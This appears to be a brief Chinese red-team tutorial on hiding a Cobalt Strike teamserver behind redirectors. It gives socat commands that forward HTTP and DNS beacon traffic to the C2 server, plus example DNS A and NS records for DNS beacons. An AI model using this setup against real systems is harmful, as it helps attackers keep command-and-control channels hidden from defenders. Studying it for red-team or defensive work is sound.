Cobalt Strike 重定向器
Contents
cobalt strike 通过重定向器来隐藏 c2 服务器.
本质其实就是用其它机器作为中转来连接 teamserver
以下提供两种方式, 端口转发工具不仅限于 socat
http beacon
在重定向器中执行命令
socat TCP4-LISTEN:8080,fork TCP4:[team server]:8080
添加 beacon
添加重定向器的 IP 或域名地址, 如果有多个重定向器, 将他们用逗号分隔.
dns beacon
配置不同的 A 记录指向重定向器的 IP
之后配置 NS 记录指向重定向器所在域名.
r1 A 192.168.1.100
r2 A 192.168.1.101
r3 A 192.168.1.102
profile NS r1.exp10it.cn
games NS r2.exp10it.cn
pictures NS r3.exp10it.cn
在重定向器中执行命令, 如果使用 windows/beacon_dns/reverse_dns_txt
则仅须转发 53 端口.
socat UDP4-LISTEN:53,fork UDP4:[team server]:53
socat TCP4-LISTEN:8080,fork TCP4:[team server]:8080
添加 beacon
添加重定向器的 NS 域名, 如果有多个重定向器, 将他们用逗号分隔.